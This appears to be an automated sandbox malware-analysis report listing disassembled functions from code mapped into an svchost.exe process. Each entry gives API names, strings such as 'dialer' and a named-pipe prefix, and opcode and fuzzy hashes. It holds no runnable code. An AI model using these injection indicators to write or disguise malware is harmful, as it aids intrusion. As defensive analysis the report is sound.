                                                                control_flow_graph 472 14e41fa9944-14e41fa99ac call 14e41faa814 475 14e41fa99b2-14e41fa99b5 472->475 476 14e41fa9e13-14e41fa9e1b call 14e41fabb48 472->476 475->476 478 14e41fa99bb-14e41fa99c1 475->478 479 14e41fa99c7-14e41fa99cb 478->479 480 14e41fa9a90-14e41fa9aa2 478->480 479->480 484 14e41fa99d1-14e41fa99dc 479->484 482 14e41fa9aa8-14e41fa9aac 480->482 483 14e41fa9d63-14e41fa9d67 480->483 482->483 485 14e41fa9ab2-14e41fa9abd 482->485 487 14e41fa9d69-14e41fa9d70 483->487 488 14e41fa9da0-14e41fa9daa call 14e41fa8a34 483->488 484->480 486 14e41fa99e2-14e41fa99e7 484->486 485->483 489 14e41fa9ac3-14e41fa9aca 485->489 486->480 490 14e41fa99ed-14e41fa99f7 call 14e41fa8a34 486->490 487->476 491 14e41fa9d76-14e41fa9d9b call 14e41fa9e1c 487->491 488->476 501 14e41fa9dac-14e41fa9dcb call 14e41fa6d40 488->501 493 14e41fa9ad0-14e41fa9b07 call 14e41fa8e10 489->493 494 14e41fa9c94-14e41fa9ca0 489->494 490->501 505 14e41fa99fd-14e41fa9a28 call 14e41fa8a34 * 2 call 14e41fa9124 490->505 491->488 493->494 509 14e41fa9b0d-14e41fa9b15 493->509 494->488 498 14e41fa9ca6-14e41fa9caa 494->498 502 14e41fa9cac-14e41fa9cb8 call 14e41fa90e4 498->502 503 14e41fa9cba-14e41fa9cc2 498->503 502->503 516 14e41fa9cdb-14e41fa9ce3 502->516 503->488 508 14e41fa9cc8-14e41fa9cd5 call 14e41fa8cb4 503->508 540 14e41fa9a48-14e41fa9a52 call 14e41fa8a34 505->540 541 14e41fa9a2a-14e41fa9a2e 505->541 508->488 508->516 514 14e41fa9b19-14e41fa9b4b 509->514 518 14e41fa9c87-14e41fa9c8e 514->518 519 14e41fa9b51-14e41fa9b5c 514->519 521 14e41fa9ce9-14e41fa9ced 516->521 522 14e41fa9df6-14e41fa9e12 call 14e41fa8a34 * 2 call 14e41fabaa8 516->522 518->494 518->514 519->518 523 14e41fa9b62-14e41fa9b7b 519->523 525 14e41fa9d00 521->525 526 14e41fa9cef-14e41fa9cfe call 14e41fa90e4 521->526 522->476 527 14e41fa9b81-14e41fa9bc6 call 14e41fa90f8 * 2 523->527 528 14e41fa9c74-14e41fa9c79 523->528 536 14e41fa9d03-14e41fa9d0d call 14e41faa8ac 525->536 526->536 556 14e41fa9bc8-14e41fa9bee call 14e41fa90f8 call 14e41faa038 527->556 557 14e41fa9c04-14e41fa9c0a 527->557 533 14e41fa9c84 528->533 533->518 536->488 548 14e41fa9d13-14e41fa9d61 call 14e41fa8d44 call 14e41fa8f50 536->548 540->480 555 14e41fa9a54-14e41fa9a74 call 14e41fa8a34 * 2 call 14e41faa8ac 540->555 541->540 547 14e41fa9a30-14e41fa9a3b 541->547 547->540 552 14e41fa9a3d-14e41fa9a42 547->552 548->488 552->476 552->540 578 14e41fa9a76-14e41fa9a80 call 14e41faa99c 555->578 579 14e41fa9a8b 555->579 572 14e41fa9bf0-14e41fa9c02 556->572 573 14e41fa9c15-14e41fa9c72 call 14e41fa9870 556->573 561 14e41fa9c0c-14e41fa9c10 557->561 562 14e41fa9c7b 557->562 561->527 566 14e41fa9c80 562->566 566->533 572->556 572->557 573->566 582 14e41fa9a86-14e41fa9def call 14e41fa86ac call 14e41faa3f4 call 14e41fa88a0 578->582 583 14e41fa9df0-14e41fa9df5 call 14e41fabaa8 578->583 579->480 582->583 583->522
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction ID: 092061804e2acfd85856a6fbf8df1efce0ac3395992e54896de2f0b233cc8006
                                                                • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction Fuzzy Hash: F5E16A72704B408AEF609BA5D4883DDB7E0FB557D8F5C4125EA8997FA5CB38C092C760
                                                                Function 0000014E41FDF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeLibraryProc
                                                                • String ID: api-ms-$ext-ms-
                                                                • API String ID: 3013587201-537541572
                                                                • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction ID: eccfb42c00e0fcebc11fba8db2cb5dd556603cf0515602b7340d8b3a720e917a
                                                                • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction Fuzzy Hash: A0418032315A5091FF16CB56E808BE9A3D6BF46BA0F5D42299D0FD77A4EE38C4478360
                                                                Function 0000014E41FD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                                                • String ID: d
                                                                • API String ID: 3743429067-2564639436
                                                                • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction ID: dcb51b6df01793caf54422eba4bcf925065baaae7f996ed60d537fcaac24bad6
                                                                • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction Fuzzy Hash: 4A414233218B84C6EB60CF21E44879EB7E5F789B98F448119DA8A47768DF3CC546CB50
                                                                Function 0000014E41FDD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                • FlsGetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD087
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0A6
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0CE
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0DF
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0F0
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Value
                                                                • String ID: 1%$Y%
                                                                • API String ID: 3702945584-1395475152
                                                                • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction ID: a9bf51a53c9a1f80fc76c82896e2421d109dbda82caf93dda9c71af6b8fc7838
                                                                • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction Fuzzy Hash: D0111C7070468441FE68A735995D7F9E3C6BF847F0F1C4325A82BC6AFADE68C5039620
                                                                Function 0000014E41FD7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID:
                                                                • API String ID: 190073905-0
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: a28f0207ded7251b2138ce8eaabf7731b6e17eb6dd1893435d04d01492ed5137
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: D781F271704B418AFF50AB6598493F9E3D0BF85788F5C46169A0ACB7B6EB78C8078730
                                                                Function 0000014E41FD9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Library$Load$AddressErrorFreeLastProc
                                                                • String ID: api-ms-
                                                                • API String ID: 2559590344-2084034818
                                                                • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction ID: 03ee9c64fc4e5180bd68ea4e23d85fb7920b7978f1ef5f904570876798f634f1
                                                                • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction Fuzzy Hash: 80317231316A40A1EF169B82A4087E9A3D4BF48BA0F5D46259D1F87BA5DF39C5468330
                                                                Function 0000014E41FE3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                • String ID: CONOUT$
                                                                • API String ID: 3230265001-3130406586
                                                                • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction ID: 58d35a48e73ae5a6a2069cbe50502fe36390fdbaf60b5645c7a944c23e30e8f6
                                                                • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction Fuzzy Hash: 86116031318B8486EB608F52E858359B7E0FB88FE4F094225EA5EC77A4DF7CC5168750
                                                                Function 0000014E41FD3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModule
                                                                • String ID: wr
                                                                • API String ID: 1092925422-2678910430
                                                                • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction ID: 8310219fc58ae82eb0bcc7bfba685b767ad38c6a0f57641c290d7d667e99c083
                                                                • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                                                • Instruction Fuzzy Hash: 80115B76708B4582EF549B21E5082A9B7F1FB88B95F490029DF8E877A4EF3DC506C724
                                                                Function 0000014E41FD5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Thread$Current$Context
                                                                • String ID:
                                                                • API String ID: 1666949209-0
                                                                • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                                                • Instruction ID: 07ea2566a821138ba5b41bcd2566ad333a6cc9f6e2a32e52345a153ce6aaa6b8
                                                                • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                                                • Instruction Fuzzy Hash: 61D18D76209B8881DE709B16E4943AAB7F0F788B84F144216EACE87B75DF7CC552CB50
                                                                Function 0000014E41FD2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID: dialer
                                                                • API String ID: 756756679-3528709123
                                                                • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction ID: 64828584eb3bfdbaceddc1153c386e701d38d80c8c2db94475a50a70e660af8b
                                                                • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction Fuzzy Hash: 48317832705B5582FF15CF56A9487AAA7E0BF44B94F0C85249E4A87B65EB38C4A38360
                                                                Function 0000014E41FD14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Free
                                                                • String ID: C:\Windows\system32\svchost.exe
                                                                • API String ID: 3168794593-4180442734
                                                                • Opcode ID: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
                                                                • Instruction ID: 1ea6c2aa508163f35958e79cb2a9901d7fd2f010a3072b3d942776ec3241fee8
                                                                • Opcode Fuzzy Hash: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
                                                                • Instruction Fuzzy Hash: D021917B60CBD88AEB52DF2598592DDABE1FB49F64F0E4016DB45C3363DA2DC4068720
                                                                Function 0000014E41FDCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast
                                                                • String ID:
                                                                • API String ID: 2506987500-0
                                                                • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction ID: 4c605ab0eebe7c8a65e16142fd15fb062952cf9a22b794a22443e09c107b39ea
                                                                • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction Fuzzy Hash: 9511063030528042FE64A735955D7F9A3D2BF847F0F1C4729A92BC6AFAEE69C4039620
                                                                Function 0000014E41FD199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                                                • String ID:
                                                                • API String ID: 517849248-0
                                                                • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction ID: 45260b5053477a1902ed5b314b8ddb3b202787d03d162f4498fe3015baeaf19a
                                                                • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction Fuzzy Hash: 0B012931308B4486EB64DB52A85C799A3E5FB88FD4F894035DE4A83765DF3CC98AC760
                                                                Function 0000014E41FD36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                                                • String ID:
                                                                • API String ID: 449555515-0
                                                                • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction ID: 27845c9942124fe15b1c72357d23f614dfff2e05e98621f38ac1f8b99baeb5ad
                                                                • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction Fuzzy Hash: 44011B75315B4482FF259B61E81C3A9A7F1BF45B96F090429CA4E87774EF3DC10A8720
                                                                Function 0000014E41FD9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 2395640692-629598281
                                                                • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction ID: a1bf88d4b9d8004459b5fa9669b2167566428502909aa59e78964a9a5b042688
                                                                • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction Fuzzy Hash: 8951D63270160186EF14DF75E44CBB9B7D6FB45B98F598128DA1B83BA8DB75C842C720
                                                                Function 0000014E41FD8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 2395640692-629598281
                                                                • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction ID: 6bc827c4c3bb3e0c98ca9239eca2c50e04eb8a87f0c80140b29f13db2d6fb965
                                                                • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction Fuzzy Hash: 2631D43230074096EF14DF61E84C7A9B7E5FB44B98F098118EE5B83BA9DB39C942C724
                                                                Function 0000014E41FD1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: FinalHandleNamePathlstrlen
                                                                • String ID: \\?\
                                                                • API String ID: 2719912262-4282027825
                                                                • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction ID: b12ca8b25fa5122955bb982c68454bcc7e018bb98c49cc1ed73afc7e3ae07854
                                                                • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction Fuzzy Hash: 30F0493270874591EF608B51F888799A7E0FB48B98F884120DA4986A64DF3CC64FC710
                                                                Function 0000014E41FDBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                                • String ID: CorExitProcess$mscoree.dll
                                                                • API String ID: 4061214504-1276376045
                                                                • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction ID: 035e3789f53f373a927057afabb0f361c24ef996c6f03b6afc748e9683801fc8
                                                                • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction Fuzzy Hash: 9FF06271319B0881EF148F24E44C3A9A3A0FF89775F590319CA6A853F4CF2CC1468760
                                                                Function 0000014E41FD3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CombinePath
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3422762182-91387939
                                                                • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction ID: cc80a717613b9aef5249e127a8ce4b2df5163e301108ee4070d8aa47fa087152
                                                                • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction Fuzzy Hash: A7F05E70308B8482EF108B12B90C1A9A3A1BF48FE4F0D4120EE4A87B28DE2CC4468720
                                                                Function 0000014E41FD50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                                                • Instruction ID: 742035003ab41573749cbaf50ab97c77026f2c65be4dc385caaa5c533d93989b
                                                                • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                                                • Instruction Fuzzy Hash: 7402B432219B8486EB60CB59E4943AAB7F0F7C5794F144116EA8E87BB8DF7CD485CB10
                                                                Function 0000014E41FD5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                                                • Instruction ID: 4debb5f53ed61f6123289aa0e5a7e5e44eede09a84607efc51eced9d514b7eed
                                                                • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                                                • Instruction Fuzzy Hash: B561A736619A84C6EB60CB15E44836AB7F0F788784F140216EA8E87BB8DB7CD456CB10
                                                                Function 0000014E41FE4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: e72965eb51f99d8a0ac95fcd431345854843bb65debfdf1bdb0de3510e35bf29
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 6E118F32B58B5011FF665568D45D3E593C17FA83A8E0F062CA976C67F68A2CC9438224
                                                                Function 0000014E41FB3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: ead154b9435ffe6a454870689a50e6f6704023e04e4d2936ba47f9ea0b1d783b
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 0711A0B2BD0E1351FEA41569E75E3E993C07FD8374F4C8628A966862F7CA28C8474230
                                                                Function 0000014E41FAF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: _invalid_parameter_noinfo
                                                                • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                                                • API String ID: 3215553584-4202648911
                                                                • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction ID: 9afa7e71d04fa23ee4952312235bac51a1d74b63e64a95d112a04740b73905c4
